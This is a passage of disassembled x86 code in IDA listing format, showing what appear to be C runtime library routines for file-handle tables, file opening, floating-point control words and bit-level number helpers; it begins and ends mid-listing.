ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_46A7E0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41D0B0 endp ; =============== S U B R O U T I N E ======================================= sub_41D0D6 proc near ; DATA XREF: .nsp0:00423020o mov eax, dword_46A7C0 push esi push 14h test eax, eax pop esi jnz short loc_41D0EA mov eax, 200h jmp short loc_41D0F0 ; --------------------------------------------------------------------------- loc_41D0EA: ; CODE XREF: sub_41D0D6+Bj cmp eax, esi jge short loc_41D0F5 mov eax, esi loc_41D0F0: ; CODE XREF: sub_41D0D6+12j mov dword_46A7C0, eax loc_41D0F5: ; CODE XREF: sub_41D0D6+16j push 4 push eax call sub_41E777 pop ecx mov dword_4697A0, eax test eax, eax pop ecx jnz short loc_41D129 push 4 push esi mov dword_46A7C0, esi call sub_41E777 pop ecx mov dword_4697A0, eax test eax, eax pop ecx jnz short loc_41D129 push 1Ah call sub_417BEE pop ecx loc_41D129: ; CODE XREF: sub_41D0D6+30j ; sub_41D0D6+49j xor ecx, ecx mov eax, offset off_438488 loc_41D130: ; CODE XREF: sub_41D0D6+6Ej mov edx, dword_4697A0 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_438708 jl short loc_41D130 xor edx, edx mov ecx, offset dword_438498 loc_41D14D: ; CODE XREF: sub_41D0D6+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_46A7E0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41D16A test eax, eax jnz short loc_41D16D loc_41D16A: ; CODE XREF: sub_41D0D6+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41D16D: ; CODE XREF: sub_41D0D6+92j add ecx, 20h inc edx cmp ecx, offset dword_4384F8 jl short loc_41D14D pop esi retn sub_41D0D6 endp ; =============== S U B R O U T I N E ======================================= sub_41D17B proc near ; DATA XREF: .nsp0:00423030o ; FUNCTION CHUNK AT 0041E7F4 SIZE 00000058 BYTES call sub_418740 cmp byte_4694F4, 0 jz short locret_41D18E jmp loc_41E7F4 ; --------------------------------------------------------------------------- locret_41D18E: ; CODE XREF: sub_41D17B+Cj retn sub_41D17B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D18F proc near ; CODE XREF: sub_417D4C+2D4p ; sub_417D4C+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41D19B pop ebp retn ; --------------------------------------------------------------------------- loc_41D19B: ; CODE XREF: sub_41D18F+8j cmp dword_469548, 0 jnz short loc_41D1B6 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41D1E8 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41D1B6: ; CODE XREF: sub_41D18F+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_437F9C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_469558 call dword_421138 test eax, eax jz short loc_41D1E8 cmp [ebp+arg_0], 0 jz short loc_41D1F5 loc_41D1E8: ; CODE XREF: sub_41D18F+1Ej ; sub_41D18F+51j mov dword_4694B4, 2Ah or eax, 0FFFFFFFFh loc_41D1F5: ; CODE XREF: sub_41D18F+57j pop ebp retn sub_41D18F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1F7 proc near ; CODE XREF: sub_418556+5Ep ; sub_41C1FF+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421B80 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_469678 xor ebx, ebx cmp eax, ebx jnz short loc_41D266 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_421870 push esi call dword_421028 test eax, eax jz short loc_41D244 mov eax, esi jmp short loc_41D261 ; --------------------------------------------------------------------------- loc_41D244: ; CODE XREF: sub_41D1F7+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_438FF4 push esi push ebx call dword_42102C test eax, eax jz loc_41D32C push 2 pop eax loc_41D261: ; CODE XREF: sub_41D1F7+4Bj mov dword_469678, eax loc_41D266: ; CODE XREF: sub_41D1F7+2Fj cmp eax, 2 jnz short loc_41D28F mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41D277 mov eax, dword_469548 loc_41D277: ; CODE XREF: sub_41D1F7+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_42102C jmp loc_41D32E ; --------------------------------------------------------------------------- loc_41D28F: ; CODE XREF: sub_41D1F7+72j cmp eax, 1 jnz loc_41D32C cmp [ebp+arg_10], ebx jnz short loc_41D2A5 mov eax, dword_469558 mov [ebp+arg_10], eax loc_41D2A5: ; CODE XREF: sub_41D1F7+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_421064 mov [ebp+var_20], eax cmp eax, ebx jz short loc_41D32C mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_415D70 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_415570 add esp, 0Ch jmp short loc_41D2FB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41D2FB: ; CODE XREF: sub_41D1F7+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41D32C push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_421064 cmp eax, ebx jz short loc_41D32C push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_421028 jmp short loc_41D32E ; --------------------------------------------------------------------------- loc_41D32C: ; CODE XREF: sub_41D1F7+61j ; sub_41D1F7+9Bj ... xor eax, eax loc_41D32E: ; CODE XREF: sub_41D1F7+93j ; sub_41D1F7+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D1F7 endp ; =============== S U B R O U T I N E ======================================= sub_41D340 proc near ; CODE XREF: sub_41D55A:loc_41D6D2p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_46A7E0 loc_41D34F: ; CODE XREF: sub_41D340+48j mov eax, [ecx] test eax, eax jz short loc_41D38C lea edx, [eax+100h] loc_41D35B: ; CODE XREF: sub_41D340+28j cmp eax, edx jnb short loc_41D37B test byte ptr [eax+4], 1 jz short loc_41D36A add eax, 8 jmp short loc_41D35B ; --------------------------------------------------------------------------- loc_41D36A: ; CODE XREF: sub_41D340+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41D3CF loc_41D37B: ; CODE XREF: sub_41D340+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_46A8E0 jl short loc_41D34F jmp short loc_41D3CF ; --------------------------------------------------------------------------- loc_41D38C: ; CODE XREF: sub_41D340+13j mov esi, 100h push esi call sub_415DC9 test eax, eax pop ecx jz short loc_41D3CF add dword_46A8E0, 20h lea ecx, ds:46A7E0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41D3B2: ; CODE XREF: sub_41D340+88j cmp eax, edx jnb short loc_41D3CA and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41D3B2 ; --------------------------------------------------------------------------- loc_41D3CA: ; CODE XREF: sub_41D340+74j shl edi, 5 mov ebx, edi loc_41D3CF: ; CODE XREF: sub_41D340+39j ; sub_41D340+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41D340 endp ; =============== S U B R O U T I N E ======================================= sub_41D3D5 proc near ; CODE XREF: sub_41D55A+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_46A8E0 push edi jnb short loc_41D435 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:46A7E0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41D435 cmp dword_437D84, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41D42B sub eax, 0 jz short loc_41D422 dec eax jz short loc_41D41D dec eax jnz short loc_41D42B push ebx push 0FFFFFFF4h jmp short loc_41D425 ; --------------------------------------------------------------------------- loc_41D41D: ; CODE XREF: sub_41D3D5+3Ej push ebx push 0FFFFFFF5h jmp short loc_41D425 ; --------------------------------------------------------------------------- loc_41D422: ; CODE XREF: sub_41D3D5+3Bj push ebx push 0FFFFFFF6h loc_41D425: ; CODE XREF: sub_41D3D5+46j ; sub_41D3D5+4Bj call dword_421024 loc_41D42B: ; CODE XREF: sub_41D3D5+36j ; sub_41D3D5+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41D449 ; --------------------------------------------------------------------------- loc_41D435: ; CODE XREF: sub_41D3D5+Cj ; sub_41D3D5+28j and dword_4694B8, 0 mov dword_4694B4, 9 or eax, 0FFFFFFFFh loc_41D449: ; CODE XREF: sub_41D3D5+5Ej pop edi pop esi retn sub_41D3D5 endp ; =============== S U B R O U T I N E ======================================= sub_41D44C proc near ; CODE XREF: sub_4185CB+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_46A8E0 push edi jnb short loc_41D4AF mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:46A7E0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41D4AF cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41D4AF cmp dword_437D84, 1 jnz short loc_41D4A5 xor eax, eax sub ecx, eax jz short loc_41D49C dec ecx jz short loc_41D497 dec ecx jnz short loc_41D4A5 push eax push 0FFFFFFF4h jmp short loc_41D49F ; --------------------------------------------------------------------------- loc_41D497: ; CODE XREF: sub_41D44C+41j push eax push 0FFFFFFF5h jmp short loc_41D49F ; --------------------------------------------------------------------------- loc_41D49C: ; CODE XREF: sub_41D44C+3Ej push eax push 0FFFFFFF6h loc_41D49F: ; CODE XREF: sub_41D44C+49j ; sub_41D44C+4Ej call dword_421024 loc_41D4A5: ; CODE XREF: sub_41D44C+38j ; sub_41D44C+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41D4C3 ; --------------------------------------------------------------------------- loc_41D4AF: ; CODE XREF: sub_41D44C+Cj ; sub_41D44C+2Aj ... and dword_4694B8, 0 mov dword_4694B4, 9 or eax, 0FFFFFFFFh loc_41D4C3: ; CODE XREF: sub_41D44C+61j pop edi pop esi retn sub_41D44C endp ; =============== S U B R O U T I N E ======================================= sub_41D4C6 proc near ; CODE XREF: sub_4185CB+32p ; sub_4185CB+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_46A8E0 jnb short loc_41D4EE mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_46A7E0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41D4EE mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41D4EE: ; CODE XREF: sub_41D4C6+Aj ; sub_41D4C6+23j and dword_4694B8, 0 mov dword_4694B4, 9 or eax, 0FFFFFFFFh retn sub_41D4C6 endp ; =============== S U B R O U T I N E ======================================= sub_41D503 proc near ; CODE XREF: sub_4186A9+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_46A8E0 jnb short loc_41D54C mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_46A7E0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41D54C push eax call sub_41D4C6 pop ecx push eax call dword_421020 test eax, eax jnz short loc_41D541 call dword_421088 jmp short loc_41D543 ; --------------------------------------------------------------------------- loc_41D541: ; CODE XREF: sub_41D503+34j xor eax, eax loc_41D543: ; CODE XREF: sub_41D503+3Cj test eax, eax jz short locret_41D559 mov dword_4694B8, eax loc_41D54C: ; CODE XREF: sub_41D503+Aj ; sub_41D503+22j mov dword_4694B4, 9 or eax, 0FFFFFFFFh locret_41D559: ; CODE XREF: sub_41D503+42j retn sub_41D503 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D55A proc near ; CODE XREF: sub_418880+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41D580 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41D58B ; --------------------------------------------------------------------------- loc_41D580: ; CODE XREF: sub_41D55A+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41D58B: ; CODE XREF: sub_41D55A+24j mov eax, 8000h test ecx, eax jnz short loc_41D5A5 test ch, 40h jnz short loc_41D5A1 cmp dword_469780, eax jz short loc_41D5A5 loc_41D5A1: ; CODE XREF: sub_41D55A+3Dj or [ebp+var_1], 80h loc_41D5A5: ; CODE XREF: sub_41D55A+38j ; sub_41D55A+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41D5DD dec eax jz short loc_41D5D4 dec eax jz short loc_41D5CB loc_41D5B6: ; CODE XREF: sub_41D55A+9Fj ; sub_41D55A+E8j ... mov dword_4694B4, 16h mov dword_4694B8, ebx jmp loc_41D7F0 ; --------------------------------------------------------------------------- loc_41D5CB: ; CODE XREF: sub_41D55A+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41D5E4 ; --------------------------------------------------------------------------- loc_41D5D4: ; CODE XREF: sub_41D55A+57j mov [ebp+var_C], 40000000h jmp short loc_41D5E4 ; --------------------------------------------------------------------------- loc_41D5DD: ; CODE XREF: sub_41D55A+54j mov [ebp+var_C], 80000000h loc_41D5E4: ; CODE XREF: sub_41D55A+78j ; sub_41D55A+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41D612 cmp eax, 20h jz short loc_41D609 cmp eax, 30h jz short loc_41D600 cmp eax, 40h jnz short loc_41D5B6 mov [ebp+var_10], esi jmp short loc_41D615 ; --------------------------------------------------------------------------- loc_41D600: ; CODE XREF: sub_41D55A+9Aj mov [ebp+var_10], 2 jmp short loc_41D615 ; --------------------------------------------------------------------------- loc_41D609: ; CODE XREF: sub_41D55A+95j mov [ebp+var_10], 1 jmp short loc_41D615 ; --------------------------------------------------------------------------- loc_41D612: ; CODE XREF: sub_41D55A+90j mov [ebp+var_10], ebx loc_41D615: ; CODE XREF: sub_41D55A+A4j ; sub_41D55A+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41D65F jz short loc_41D65A cmp ecx, ebx jz short loc_41D65A cmp ecx, edi jz short loc_41D651 cmp ecx, 200h jz short loc_41D678 cmp ecx, 300h jnz loc_41D5B6 mov [ebp+var_8], 2 jmp short loc_41D688 ; --------------------------------------------------------------------------- loc_41D651: ; CODE XREF: sub_41D55A+D8j mov [ebp+var_8], 4 jmp short loc_41D688 ; --------------------------------------------------------------------------- loc_41D65A: ; CODE XREF: sub_41D55A+D0j ; sub_41D55A+D4j mov [ebp+var_8], esi jmp short loc_41D688 ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D55A+CEj cmp ecx, 500h jz short loc_41D681 cmp ecx, 600h jz short loc_41D678 cmp ecx, edx jz short loc_41D681 jmp loc_41D5B6 ; --------------------------------------------------------------------------- loc_41D678: ; CODE XREF: sub_41D55A+E0j ; sub_41D55A+113j mov [ebp+var_8], 5 jmp short loc_41D688 ; --------------------------------------------------------------------------- loc_41D681: ; CODE XREF: sub_41D55A+10Bj ; sub_41D55A+117j mov [ebp+var_8], 1 loc_41D688: ; CODE XREF: sub_41D55A+F5j ; sub_41D55A+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_41D6A7 mov ecx, dword_4694BC not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_41D6A7 push 1 pop esi loc_41D6A7: ; CODE XREF: sub_41D55A+138j ; sub_41D55A+148j test al, 40h jz short loc_41D6B5 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_41D6B5: ; CODE XREF: sub_41D55A+14Fj test ah, 10h jz short loc_41D6BC or esi, edi loc_41D6BC: ; CODE XREF: sub_41D55A+15Ej test al, 20h jz short loc_41D6C8 or esi, 8000000h jmp short loc_41D6D2 ; --------------------------------------------------------------------------- loc_41D6C8: ; CODE XREF: sub_41D55A+164j test al, 10h jz short loc_41D6D2 or esi, 10000000h loc_41D6D2: ; CODE XREF: sub_41D55A+16Cj ; sub_41D55A+170j call sub_41D340 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_41D6F3 and dword_4694B8, 0 mov dword_4694B4, 18h jmp short loc_41D731 ; --------------------------------------------------------------------------- loc_41D6F3: ; CODE XREF: sub_41D55A+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_421078 mov esi, eax cmp esi, edi jz short loc_41D724 push esi call dword_421030 test eax, eax jnz short loc_41D738 push esi call dword_42106C loc_41D724: ; CODE XREF: sub_41D55A+1B6j call dword_421088 push eax call sub_41C5D7 pop ecx loc_41D731: ; CODE XREF: sub_41D55A+197j mov eax, edi jmp loc_41D80E ; --------------------------------------------------------------------------- loc_41D738: ; CODE XREF: sub_41D55A+1C1j cmp eax, 2 jnz short loc_41D743 or [ebp+var_1], 40h jmp short loc_41D74C ; --------------------------------------------------------------------------- loc_41D743: ; CODE XREF: sub_41D55A+1E1j cmp eax, 3 jnz short loc_41D74C or [ebp+var_1], 8 loc_41D74C: ; CODE XREF: sub_41D55A+1E7j ; sub_41D55A+1ECj push esi push ebx call sub_41D3D5 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:46A7E0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_41D7F5 test al, 80h jz short loc_41D7F5 test byte ptr [ebp+arg_4], 2 jz short loc_41D7F5 push 2 push 0FFFFFFFFh push ebx call sub_41BB7F add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41D7AA cmp dword_4694B8, 83h jz short loc_41D7F5 jmp short loc_41D7E9 ; --------------------------------------------------------------------------- loc_41D7AA: ; CODE XREF: sub_41D55A+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41B989 add esp, 0Ch test eax, eax jnz short loc_41D7D7 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_41D7D7 push [ebp+var_10] push ebx call sub_41E84C pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D7E9 loc_41D7D7: ; CODE XREF: sub_41D55A+265j ; sub_41D55A+26Bj push 0 push 0 push ebx call sub_41BB7F add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41D7F5 loc_41D7E9: ; CODE XREF: sub_41D55A+24Ej ; sub_41D55A+27Bj push ebx call sub_4185CB pop ecx loc_41D7F0: ; CODE XREF: sub_41D55A+6Cj or eax, 0FFFFFFFFh jmp short loc_41D80E ; --------------------------------------------------------------------------- loc_41D7F5: ; CODE XREF: sub_41D55A+221j ; sub_41D55A+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41D80C test byte ptr [ebp+arg_4], 8 jz short loc_41D80C mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41D80C: ; CODE XREF: sub_41D55A+29Fj ; sub_41D55A+2A5j mov eax, ebx loc_41D80E: ; CODE XREF: sub_41D55A+1D9j ; sub_41D55A+299j pop edi pop esi pop ebx leave retn sub_41D55A endp ; =============== S U B R O U T I N E ======================================= sub_41D813 proc near ; CODE XREF: sub_419BB3+52p xor eax, eax retn sub_41D813 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D816 proc near ; CODE XREF: sub_41D84B+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41D861 mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41D8F3 pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_41D816 endp ; =============== S U B R O U T I N E ======================================= sub_41D84B proc near ; CODE XREF: sub_419E9F+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41D816 pop ecx pop ecx retn sub_41D84B endp ; =============== S U B R O U T I N E ======================================= sub_41D861 proc near ; CODE XREF: sub_41D816+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41D872 push 10h pop eax loc_41D872: ; CODE XREF: sub_41D861+Cj test bl, 4 jz short loc_41D879 or al, 8 loc_41D879: ; CODE XREF: sub_41D861+14j test bl, 8 jz short loc_41D880 or al, 4 loc_41D880: ; CODE XREF: sub_41D861+1Bj test bl, 10h jz short loc_41D887 or al, 2 loc_41D887: ; CODE XREF: sub_41D861+22j test bl, 20h jz short loc_41D88E or al, 1 loc_41D88E: ; CODE XREF: sub_41D861+29j test bl, 2 jz short loc_41D898 or eax, 80000h loc_41D898: ; CODE XREF: sub_41D861+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41D8D0 cmp edx, 400h jz short loc_41D8CD cmp edx, 800h jz short loc_41D8C9 cmp edx, esi jnz short loc_41D8D0 or eax, edi jmp short loc_41D8D0 ; --------------------------------------------------------------------------- loc_41D8C9: ; CODE XREF: sub_41D861+5Ej or eax, ebp jmp short loc_41D8D0 ; --------------------------------------------------------------------------- loc_41D8CD: ; CODE XREF: sub_41D861+56j or ah, 1 loc_41D8D0: ; CODE XREF: sub_41D861+4Ej ; sub_41D861+62j ... and ecx, edi pop esi jz short loc_41D8E0 cmp ecx, ebp jnz short loc_41D8E5 or eax, 10000h jmp short loc_41D8E5 ; --------------------------------------------------------------------------- loc_41D8E0: ; CODE XREF: sub_41D861+72j or eax, 20000h loc_41D8E5: ; CODE XREF: sub_41D861+76j ; sub_41D861+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41D8F2 or eax, 40000h locret_41D8F2: ; CODE XREF: sub_41D861+8Aj retn sub_41D861 endp ; =============== S U B R O U T I N E ======================================= sub_41D8F3 proc near ; CODE XREF: sub_41D816+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41D903 push 1 pop eax loc_41D903: ; CODE XREF: sub_41D8F3+Bj test bl, 8 jz short loc_41D90A or al, 4 loc_41D90A: ; CODE XREF: sub_41D8F3+13j test bl, 4 jz short loc_41D911 or al, 8 loc_41D911: ; CODE XREF: sub_41D8F3+1Aj test bl, 2 jz short loc_41D918 or al, 10h loc_41D918: ; CODE XREF: sub_41D8F3+21j test bl, 1 jz short loc_41D91F or al, 20h loc_41D91F: ; CODE XREF: sub_41D8F3+28j test ebx, 80000h jz short loc_41D929 or al, 2 loc_41D929: ; CODE XREF: sub_41D8F3+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_41D956 cmp ecx, 100h jz short loc_41D953 cmp ecx, esi jz short loc_41D94E cmp ecx, edx jnz short loc_41D956 or ah, 0Ch jmp short loc_41D956 ; --------------------------------------------------------------------------- loc_41D94E: ; CODE XREF: sub_41D8F3+50j or ah, 8 jmp short loc_41D956 ; --------------------------------------------------------------------------- loc_41D953: ; CODE XREF: sub_41D8F3+4Cj or ah, 4 loc_41D956: ; CODE XREF: sub_41D8F3+44j ; sub_41D8F3+54j ... mov ecx, ebx and ecx, 30000h jz short loc_41D96C cmp ecx, 10000h jnz short loc_41D96E or eax, esi jmp short loc_41D96E ; --------------------------------------------------------------------------- loc_41D96C: ; CODE XREF: sub_41D8F3+6Bj or eax, edx loc_41D96E: ; CODE XREF: sub_41D8F3+73j ; sub_41D8F3+77j pop esi test ebx, 40000h pop ebx jz short locret_41D97B or ah, 10h locret_41D97B: ; CODE XREF: sub_41D8F3+83j retn sub_41D8F3 endp ; =============== S U B R O U T I N E ======================================= sub_41D97C proc near ; CODE XREF: sub_41DA1B+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_41D9C1 inc esi cmp esi, 3 jge short loc_41D9BC lea eax, [eax+esi*4] loc_41D9AE: ; CODE XREF: sub_41D97C+3Ej cmp dword ptr [eax], 0 jnz short loc_41D9C1 inc esi add eax, 4 cmp esi, 3 jl short loc_41D9AE loc_41D9BC: ; CODE XREF: sub_41D97C+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41D9C1: ; CODE XREF: sub_41D97C+27j ; sub_41D97C+35j xor eax, eax pop esi retn sub_41D97C endp ; =============== S U B R O U T I N E ======================================= sub_41D9C5 proc near ; CODE XREF: sub_41DA1B+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_41E992 add esp, 0Ch dec esi js short loc_41DA17 lea edi, [ebx+esi*4] loc_41D9FE: ; CODE XREF: sub_41D9C5+50j test eax, eax jz short loc_41DA17 push edi push 1 push dword ptr [edi] call sub_41E992 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41D9FE loc_41DA17: ; CODE XREF: sub_41D9C5+34j ; sub_41D9C5+3Bj pop edi pop esi pop ebx retn sub_41D9C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA1B proc near ; CODE XREF: sub_41DB76+81p ; sub_41DB76+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_41DA7F inc ebx push ebx push [ebp+arg_0] call sub_41D97C pop ecx test eax, eax pop ecx jnz short loc_41DA7C push edi push [ebp+arg_0] call sub_41D9C5 pop ecx mov [ebp+var_4], eax pop ecx loc_41DA7C: ; CODE XREF: sub_41DA1B+51j mov eax, [ebp+arg_4] loc_41DA7F: ; CODE XREF: sub_41DA1B+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_41DA9F mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_41DA9F: ; CODE XREF: sub_41DA1B+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41DA1B endp ; =============== S U B R O U T I N E ======================================= sub_41DAA7 proc near ; CODE XREF: sub_41DB76+75p ; sub_41DB76+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_41DAB5: ; CODE XREF: sub_41DAA7+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41DAB5 pop esi retn sub_41DAA7 endp ; =============== S U B R O U T I N E ======================================= sub_41DAC2 proc near ; 